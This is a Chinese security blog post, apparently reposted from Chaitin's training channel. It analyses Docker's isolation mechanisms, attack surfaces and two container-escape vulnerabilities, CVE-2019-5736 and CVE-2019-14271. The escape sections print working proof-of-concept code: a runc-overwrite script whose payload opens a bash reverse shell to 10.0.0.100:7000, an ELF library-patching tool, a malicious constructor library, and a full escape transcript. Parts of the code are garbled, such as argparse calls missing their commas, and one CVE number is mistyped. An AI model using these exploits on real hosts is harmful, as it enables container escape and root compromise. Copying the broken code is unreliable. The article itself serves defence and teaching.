Python社区  »  docker

Docker安全性与攻击面分析

长亭安全课堂 • 1 周前 • 23 次点击  
微信又改版了,为了我们能一直相见
你的加星在看对我们非常重要
点击“长亭安全课堂”——主页右上角——设为星标🌟
期待与你的每次见面~





Docker 简介




Docker 是一个用于开发,交付以及运行应用程序的开放平台。Docker 使开发者可以将应用程序与基础架构进行分离,从而实现软件的快速交付。借助 Docker,开发者可以像管理应用程序一样管理基础架构。开发者可以通过 Docker 进行快速交付,测试和代码部署,这大大减少了编写代码与在生产环节实际部署代码之间的用时。


Docker 提供了在一个独立隔离的环境(称之为容器)中打包和运行应用程序的功能。容器的隔离和安全措施使得使用者可以在给定主机上同时运行多个容器。由于容器直接在主机的内核中运行,而不需要额外的虚拟化支持,这使得容器更加的轻量化。和使用虚拟机相比,相同配置的硬件可以运行更多的容器,甚至可以在实际上是虚拟机的主机中运行 Docker 容器。【1】





Docker 安全设计【2】





为了保证容器内应用程序能够隔离运行并且保证安全性,Docker 使用了多种安全机制以及隔离措施,包括 Namespace,Cgroup ,Capability 限制,内核强访问控制等等。


01
内核 Namespace 


内核命名空间( Namespace )提供了最基础和最直接的隔离形式。每当使用 docker run 启动容器时,Docker 在后台为容器创建了一组独立的命令空间,这使得一个运行在容器中的进程看不到甚至几乎影响不到另一个容器或者宿主机中的进程。


并且每一个容器还有自己独立的网络协议栈,这意味着两个容器之间的网络也是互相隔离的。当然,如果在主机上进行恰当的设置,两个容器可以通过各自的网络接口互相访问。从网络架构上看,两个容器之间的网络通信和通过交换机连接的两台物理机相同。这使得大多数网络访问规则可以直接适用于容器之间的网络访问。


Linux 内核在 2.6.15 和 2.6.26 之间引入了内核命名空间。这意味着从 2008 年 7 月( 2.6.26 版本内核发布日期)以来,命名空间相关的代码已经在大量生产系统上被使用和测试。毋庸置疑,内核命名空间的设计和实现都是相当成熟的。


02
 Linux Control Group 


Control Group(简称 Cgroup )是 Linux 容器的另外一个关键组件。Cgroup 的主要作用是对资源进行核算和限制。Cgroup 提供了对多种计算机资源的限制措施和计算指标,包括内存, CPU ,磁盘 IO 等。这确保每个容器都能公平的分配资源,并且保证单个容器无法通过耗尽资源的方式使得系统瘫痪。


因此,尽管 Cgroup 无法阻止一个容器访问或者影响另一个容器的数据和进程。但是它对于抵御 DOS 攻击异常重要。


Cgroup 同样也在内核中存在了不短的时间。该代码始于 2006 年,并在内核 2.6.24 版本中被合并入内核。


03
 Linux 内核 capabilities  


Capabilities 将原本二元的” root/非 root “权限控制转变为更细粒度的访问控制系统。例如仅仅需要绑定低于 1024 端口的进程(如web 服务器)就不需要以 root 权限运行。只要赋予它net_bind_service capability 即可。几乎所有本需要 root 权限执行的功能现在都可以使用各种不同的 capabilities 代替。


这对于容器安全来说意义重大。在一个典型的服务器中,许多进程需要使用到 root 权限,包括 SSH 守护进程,cron 守护进程,日志记录,内核模块管理,网络配置等等。但是容器不同,几乎所有上述的任务都是由容器之外的宿主机处理的。因此在大部分情况下,容器不需要”真正的” root 权限。这意味着容器中的“ root ”拥有比真正“ root ”更少的权限。例如容器可以:


  • 禁止所有的“ mount ”操作
  • 禁止对 raw socket 的访问(防止数据包欺骗)
  • 禁止某些对文件系统的访问操作。比如创建或者写某些设备节点。
  • 禁止内核模块加载


这意味着即使入侵者设法获取到容器内的 root 权限,也很难造成严重的破坏或者逃逸到宿主机。


这些降权并不会影响常规的应用程序,但是会大大减少恶意攻击者的攻击途径。默认情况下,Docker 会放弃所有不需要的capability(即使用白名单)。


04
 内核安全功能  


除了 Capability 之外,Docker 还使用了多种内核提供的安全功能保护容器的安全。其中最重要的两个模块为 Apparmor 和 Seccomp。


1、AppArmor [3][4][5]


Docker 可以使用 APPArmor 来增强自身的安全性。默认情况下,Docker 会为容器自动生成并加载默认的 AppArmor 配置文件。


AppArmor ( Application Armor )是 Linux 内核的安全模块之一。有别于传统的 Unix 自主访问控制( DAC )模型。AppArmor 通过内核安全模块( LSM )实现了强制访问控制( MAC ),可以将程序能够访问的资源限制在有限的资源集中。


AppArmor 通过在每个应用程序上应用特定的规则集来主动保护应用程序免受各种攻击威胁。通过加载到内核中的配置文件,AppArmor 将访问控制细化绑定到程序,配置文件完全定义了应用程序可以访问哪些系统资源以及具有哪些权限。例如:配置文件可以允许程序进行网络访问,原始套接字访问或者读取写入与路径规则匹配的文件。如果配置文件没有声明,则默认情况下禁止进程对资源的访问。


APPArmor 也是一项成熟的技术。自 2.6.36 版本起就已经包含在主线 Linux 内核中。


2、Seccomp


Secure computing mode ( Seccomp )是一项旨在对进程系统调用进行限制的内核安全特性。默认情况下,大量的系统调用暴露给用户进程。其中很多的系统调用在整个进程的生命周期内都不会被使用。所以Seccomp提供了对进程可调用的系统调用进行限制的手段。通过编写一种被称为 Berkeley Packet Filter  ( BPF )格式的过滤器,Seccomp 可以对进程执行的系统调用的系统调用号和参数进行检查和过滤。


通过禁止进程调用不必要的系统调用,减少了内核暴露给用户态进程的接口数量。从而减少内核攻击面。Docker 在启动容器时默认会启用 Seccomp 保护,默认的白名单规则仅保留了 Linux 中比较常见并且安全的系统调用。而那些可能导致逃逸,用户信息泄露的系统调用或者内核新添加,还不够稳定的系统调用均会被排除在外。


05
 综述  

Docker 使用许多安全手段来保证容器的隔离与安全。除了采用传统的安全手段如修补安全漏洞,提高代码安全性之外。Docker 在整体的安全构架上采用了最小权限原则。按照最小权限原则,容器只应该具有自己可以具有的权限,容器只能够访问自己可以访问的资源。以此为基础,Docker 使用 namespace 对进程进行隔离,使用 Cgroup 对硬件资源使用进行限制,并且通过限制 Capability 收回容器不需要使用的特权。最后使用白名单规则的 Seccomp 和 AppArmo r限制容器能够访问的资源范围。通过这些限制,常规的沙箱绕过手段对于 Docker 容器均无效。而对于以上安全模块本身或者 Linux 内核的 0day 攻击则会面对以下两个困境。


  1. 以上安全模块和 Linux 内核的出现时间均在 10 年以上,经过了大量实际生产环境检验和代码审计。
  2. 由于最小权限原则大大减少了内核攻击面,导致大部分内核任意代码执行漏洞无法满足漏洞触发条件。


除此之外,Docker 主体部分代码由 go 语言编写。Go 语言默认的内存安全特性导致对 Docker 本身的代码进行内存破坏攻击的风险也大大降低。





Docker 攻击面





Dcoker 的安全性问题主要有以下四个方面:


  1. 内核固有的安全性问题以及其对 namespace 和 cgroup 的支持情况
  2. Docker 守护程序本身的安全性
  3. 默认或者用户自定义配置文件的安全性
  4. 内核的“强化”安全功能以及其对容器的作用


01
 攻击面一:攻击内核本身  


由于 Docker 容器本身是运行在宿主机器内核之上的。并且其基本的进程隔离和资源限制是由内核的 Namespace 模块和 Cgroup 模块完成的。所以内核本身的安全性就是容器安全性的前提。针对内核的任意代码执行或者路径穿越漏洞可能导致容器逃逸。


其次,虽然 Linux 内核主线从相当早的版本开始对 Namespace 的支持就已经完善。但是如果 Docker 运行在自定义内核之上,且该内核对 Namespace 和 Cgroup 的支持不完善。可能导致不可预料的风险。


当然,并不是所有针对内核的漏洞都可以在容器中顺利利用。Docker 的 Seccomp 以及 Capability 限制导致容器中进程无法使用内核所有功能,许多针对内核不成熟系统调用或者不成熟模块的攻击会由于容器限制无法使用。例如针对内核 bpf 模块进行攻击的 CVE-2017-16995 就因为 Docker 容器默认禁止 bpf 系统调用而无法成功。


02
攻击面二:攻击 Docker 守护进程本身


虽然 Docker 容器具有很强的安全保护措施,但是 Docker 守护进程本身并没有被完善的保护。Docker 守护进程本身默认由 root 用户运行,并且该进程本身并没有使用 Seccomp 或者 AppArmor 等安全模块进行保护。这使得一旦攻击者成功找到漏洞控制 Docker 守护进程进行任意文件写或者代码执行,就可以顺利获得宿主机的 root 权限而不会受到各种安全机制的阻碍。值得一提的是,默认情况下 Docker 不会开启 User Namespace 隔离,这也意味着 Docker 内部的 root 与宿主机 root 对文件的读写权限相同。这导致一旦容器内部 root 进程获取读写宿主机文件的机会,文件权限将不会成为另一个问题。这一点在 CVE-2019-5636 利用中有所体现。


由于 Docker 使用 Go 语言编写,所以绝大部分攻击者都以寻找 Docker 的逻辑漏洞为主。除此之外,一旦 Docker 容器启动之后,容器内进程因为隔离很难再影响到 Docker 守护进程本身。所以针对 Docker 容器的攻击主要集中在容器启动或者镜像加载的过程中。


对于这一点, Docker 提供了一些对于镜像的签名认证机制。并且官方也推荐使用受信任的镜像以避免一些攻击。


除此之外,针对 Docker 攻击的另一种方式是攻击与 Docker 守护进程进行通信的 daemon socket。该攻击从宿主机进行,与容器逃逸无关,在此不多做赘述。


03
攻击面三:配置文件错误导致漏洞


通常来说,默认情况下 Docker 的默认容器配置是安全的。但是基于最小权限规则配置的配置文件可能会导致一些比较特殊的应用程序(例如需要特殊网络配置的 VPN 服务等)无法正常运行。为此 Docker 提供了自定义安全规则的功能。它允许用户使用自定义安全配置文件代替默认的安全配置来实现定制化功能。但是如果配置文件的配置不当,就有可能导致 Docker 的安全性减弱,攻击面增加的情况。


举例来说,Docker 容器使用-- privileged 参数启动的情况下。容器中可以运行许多默认配置下由于隔离无法使用的应用(如 VPN ,路由系统等)。但是该参数也会关闭 Docker 的所有安全保护。任何攻击者只要取得容器中的 root 权限,就可以直接逃逸至宿主机并获得宿主机 root 权限。


04
攻击面四:安全模块绕过


Docker 的安全设计很大程度上依赖内核的安全模块。一旦内核安全模块本身存在逻辑漏洞等情况导致安全配置被绕过,或者模块被手动关闭。Docker 本身的安全也会受到极大的威胁。好在,Linux 内核安全模块本身安全性是有保障的。在数十年的维护升级过程中,只存在极个别被绕过的情况。且近几年间没有相关漏洞的曝光。


因此,内核安全模块被攻击的风险只存在于自定义内核等比较稀少的情况。





Docker 历史漏洞统计与介绍





根据资料统计【4】从 2014 年至今,Docker 有 24 个 CVE ID。根据 CVSS 2.0 标准进行评分,其中高危以上漏洞有 8 个占总漏洞数量的 33%。具体漏洞分布见如下表。



在近年( 2016 年以来)的 CVE 中,评分为高危并且有可能导致docker逃逸的漏洞有两个,分别是 CVE-2019-5736 和  CVE-2019-14271。


CVE-2019-5736


CVE-2019-5736 的评分为 9.3 分。造成该漏洞的主要原因是 Docker 守护进程在执行 docker exec 等需要在容器中启动进程操作时对/ proc / self / exe 的处理不当。如果用户启动了由攻击者准备的 docker 容器或者被攻击者获得了容器中的 root 权限。那么在用户执行 docker exec 进入容器时,攻击者就可以在宿主机执行任意代码。


不同于以前使用 libcontainer 管理容器实例。Docker 目前使用一个独立的子项目 runc 来管理所有的容器实例。在容器管理过程中,一个常见的操作是宿主机需要在容器中启动一个新的进程。包括容器启动时的 init 进程也需要由宿主机启动。为了实现该操作,一般由宿主机 fork 一个新进程,由该进程使用 setns 系统调用进入容器的 namespace 中。然后再调用 exec 在容器中执行需要的进程。该操作一般称之为进入容器( nsenter )。在 runc 项目中,虽然大部分代码都是 GO 语言编写的,但是进入容器部分代码却是使用 C 语言编写的( runc/libcontainer/nsenter/ nsexec.c )。


漏洞就这部分代码中,在 runc 进程进入容器时,没有对自身 ELF 文件进行克隆拷贝。这就导致 runc 在进入容器之后,在执行 exec 之前。其 /proc/{PID}/exe 这个软链接指向了宿主机 runc 程序。由于 docker 默认不启用 User Namespace,这导致容器内进程可以读写 runc 程序文件。攻击者可以替换 runc 程序,在宿主机下一次使用 docker 的时候就可以获得任意代码执行的机会。


漏洞的POC如下:


#! /proc/self/exe

import os

import time


pid = os.getpid()+1


while True:

     try:

        exe_name = os.readlink('/proc/%d/exe'%pid)

        break

    except OSError:

        pass


if 'runc' in exe_name:

    print exe_name

    fp = open('/proc/%d/exe'%pid, 'r')

    fd = fp.fileno()


    time.sleep(0.5)

    fp2 = open("/proc/self/fd/%d"%fd, 'w')

    pay = "#!/bin/sh\nbash -i >& /dev/tcp/10.0.0.100/7000 0>&1"

    fp2.write(pay)

else:

    print "ero:"+ exe_name


脚本其实很简单。首先是死循环监控是否有 runc 进程进入容器,检测方式是使用 readlink 检查/proc/{PID}/exe软链接指向的文件名中是否有 runc 。值得一提的是,/proc/{PID}/exe 文件并不能以写的模式打开,只能以只读模式打开。不过对于所有打开的文件描述符,都会在 /proc/self/fd 文件夹下存在一个与之对应的软链接,该文件是可以以写模式打开并写入的。所以 POC 中使用了两次 open ,第一次以读模式打开 runc 的 exe 软链接。第二次再以写模式打开自身 fd 下对应的软链接进行写入即可实现对 runc 程序文件本身的写入。


除此之外,由于利用的时间窗口是在 runc 进入容器与执行 exec 之间。时间窗口很小,很难利用成功。为此,需要扩大利用的时间窗口。这里利用到 Linux Shebang 的特性。准备一个可执行文件,开头写入 #! /proc/self/exe。这样 runc 在 exec 该文件时,实际就会执行 /proc/self/exe 这个程序,也就是 runc 本身。如此一来 exe 还是指向 runc 文件,便可以增大时间窗口。由于 POC 文件本身也是一个脚本文件,所以直接将 Shebang 写在 POC 中,可以省掉一个文件。


下面来实际测试一下,首先启动一个  Docker 容器。



并在容器中执行 POC 脚本。



接着只需要用 docker exec 执行 poc.py 即可。可以看到 runc 已经被修改。下一次 docker 运行的时候,就会执行脚本内容反弹 shell 。



CVE-2019-14271


CVE-2019-14271 的评分为7.5。该漏洞的产生原因是在使用 docker cp 从 docker 中拷贝文件时。Docker 的 docker-tar 进程会 chroot 到容器目录下并且加载 libnss.so 模块。而由于 docker-tar 本身并没有被 Docker 容器限制。攻击者可以通过替换 libnss.so 的方式得到在容器外宿主机执行任意代码的机会【5】


Docker 在使用 cp 命令拷贝文件的时候。会启动一个名为 docker-tar 的进程来执行拷贝的操作。由于 docker cp 命令通常执行速度很快,所以需要一些 bash 命令技巧来帮助我们观察其执行过程。如图2所示可以看到 docker-tar 作为 dockerd 的子进程。和 dockerd 同样具有 root 权限。



1、如图3所示,通过反复查看 /proc/{PID}/root 这个软链接的指向可以发现 docker-tar 进程通过 chroot 的方式进入 docker 容器文件系统的内部。该功能的本意是通过 chroot 防止恶意攻击者通过符号链接攻击的方式操作 host 文件。


2、如图4所示, docker-tar 进程在使用 chroot 进入到文件系统中之后,又加载了一些 libssn 有关的 so 库。由于 chroot ,所以加载的均为容器中的 so 库。


3、然后查看 docker-tar 的 namespace 状态。入图5所示,在和 host 上的 shell 进程 ns 进行对比后可以发现 docker-tar 本身并没有进入到容器的 ns 当中。该进程为 host 进程。


因此,只需要攻击者具有 docker 内部的 root 权限,就可以替换 libnss_files-2.27.so 这个文件。只需要等待管理员使用 docker  cp 进行文件复制就可以实现逃逸。


为了利用,首先需要做的就是准备一个用以攻击的 libnss_file.so 。为了方便修改恶意代码并且不破坏原有 so 库的功能。采用的方式是对镜像中原有的 libnss_file.so 进行二进制 patch 额外添加一个依赖库。这样只需要准备一个包含恶意代码的 so 库让 libnss 进行加载即可。patch 代码如下:


#! /usr/bin/python3

import argparse

from os import path

import lief

import sys


if __name__ == "__main__":

    parser = argparse.ArgumentParser(description="add libaray requirement to a elf")


    parser.add_argument("elf_path"metavar="elf"type=strhelp="elf to patch")

    parser.add_argument("requirement"metavar="req"type=strhelp ="libaray requirement wath to add")

    parser.add_argument("-o""--out"type=strhelp="patch file path, *_patch by default")


    args = parser.parse_args()

    elf_path = args.elf_path

    

    if not path.isfile(elf_path):

        print(f"no such file: {elf_path}"file=sys.stderr)

        exit(-1)


    elf = lief.parse(elf_path)

    if elf is None:

        print(f"parse elf file {elf_path} error"file=sys.stderr)

        exit(-1)

    

    elf.add_library(args.requirement)


    elf_name = path.basename(elf_path)

    out_path = args.out

    if out_path is None:

        elf.write(elf_name+"_patch")

    elif path.isdir(out_path):

        elf.write(path.join(out_path,elf_name+"_patch"))

    else:

        out_dir = path.dirname(out_path)

        if not path.isdir(out_dir):

            print(f"no such dir: {out_dir}")

            exit(-1)

        elf.write(out_path)


该代码通过 lief 为 elf 添加新的依赖库。如图 6 所示执行后再通过 ldd 命令查看,就可以看到新增的依赖 so 库。



然后需要编写实际的攻击代码。由于除了 docker-tar 之外,许多linux 命令和程序也会使用 libnss ,所以在编写攻击代码时候需要注意检查。

#include 

#include 

void __attribute__((constructor)) back() {

      

      FILE *proc_file = fopen("/proc/self/exe","r");

      if (proc_file !=NULL)

      {

            fclose(proc_file);

            return 0;

      }

      else{

            system("/breakout");

            return ;

      }

}


因为 docker-tar 是 namespace 外的程序。该程序无法在 docker 容器的 PID namespace 内的 proc 文件系统中找到自身进程。因此可以通过打开 /proc/self/exe 的方法检测攻击代码是否在 docker-tar 进程中执行。而使用 __attribute__((constructor))  则可以保证恶意代码在 so 库被加载时即被执行。将该程序编译成 a.out 放在 /tmp下,docker-tar 在加载 /lib/x86_64-linux-gnu/libnss_files-2.27.so 时就会执行 breakout 程序。


最后是 breakout 命令的实现,虽然已经可以在 namespace 外执行任意代码了。但是 docker-tar 本身经过了 chroot 。好在 docker-tar 具有 root 权限,所以绕过 chroot 不是什么问题。只需要重新 mount proc 文件系统,然后通过 /proc/{PID}/root 软链接即可访问宿主机文件系统。只需要一行命令即可:


mount -t proc none /proc && echo "hack by chaitin" > /proc/1/root/tmp/hack


将上述3个文件写入 docker 容器的对应位置然后执行 docker cp 命令。就能在 /tmp 下看到成功创建的文件。完整攻击流程如下:


# cat /tmp/hack                                                    # /tmp下目前没有hack文件
cat: /tmp/hack: No such file or directory
# docker run --rm -d --name "cve-2019-14271" ubuntu:18.04 /bin/sleep 1d #创建受攻击的docker
fe9966b0bbc674eb72c9a27c3f789821a6f0ab2c81ad5d0d5ccbdc111da10272
# docker cp a.out cve-2019-14271:/tmp    # 将攻击程序放在指定目录下,
# docker cp breakout cve-2019-14271:/    # 并替换libnss_files-2.27.so
# docker cp libnss_files.so.2_patch cve-2019-14271:/lib/x86_64-linux-gnu/libnss_files-2.27.so
# docker cp cve-2019-14271:/var/log logs    # 执行docker cp触发漏洞
# ls -l /tmp/hack                             # 验证攻击
-rw-r--r-- 1 root root 16 Jun  3 22:18 /tmp/hack
# cat /tmp/hack 
hack by chaitin


除了上述两个针对 docker 本身的攻击之外,还有少量 Linux 内核任意代码执行漏洞可能导致 docker 逃逸。比如著名的“脏牛”漏洞 CVE-2016-5195 的利用过程可以绕过所有 Docker 的安全保护,导致容器逃逸。





Docker 安全性建议





综上所述,防止 Docker 逃逸的重点在于防止内核代码执行与防止对 Docker 守护进程的攻击。对于看重 Docker 的用户,可以在默认 Docker 安全的基础上采用如下办法提高 Docker 的安全性。


  1. 使用安全可靠的 Linux 内核并保持安全补丁的更新
  2. 使用非 root 权限运行 docker 守护进程
  3. 使用 selinux 或者 APPArmor 等对 Docker 守护进程的权限进行限制
  4. 在其它基于虚拟化的容器中运行 Docker 容器


总的来说, Docker 被逃逸的风险并不会比使用其它基于虚拟化实现的容器大,二者的攻击面和攻击手段差距极大。相对的,由于没有虚拟化导致的性能损失, Docker 在性能方面对比虚拟化容器有极大的优势。由于 Docker 在运行过程中几乎不会有额外的性能开销,在非常重视安全的场景中。使用 Docker 容器+虚拟化容器的双层容器保护也是非常常见的解决方案。


参考资料:


【1】翻译修改自Docker官方介绍 https://docs.docker.com/get-started/overview/

【2】参考Docker官方安全介绍文档 https://docs.docker.com/engine/security/security/

【3】AppArmor 官方仓库介绍https://gitlab.com/apparmor/apparmor/-/wikis/home

【4】CVE统计网站https://www.cvedetails.com/vulnerability-list/vendor_id-13534/product_id-28125/Docker-Docker.html

【5】CVE-2019-14271漏洞报告https://seclists.org/bugtraq/2019/Sep/21


觉得内容还不错的话,点个“在看”呗


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/70770
 
23 次点击  
分享到微博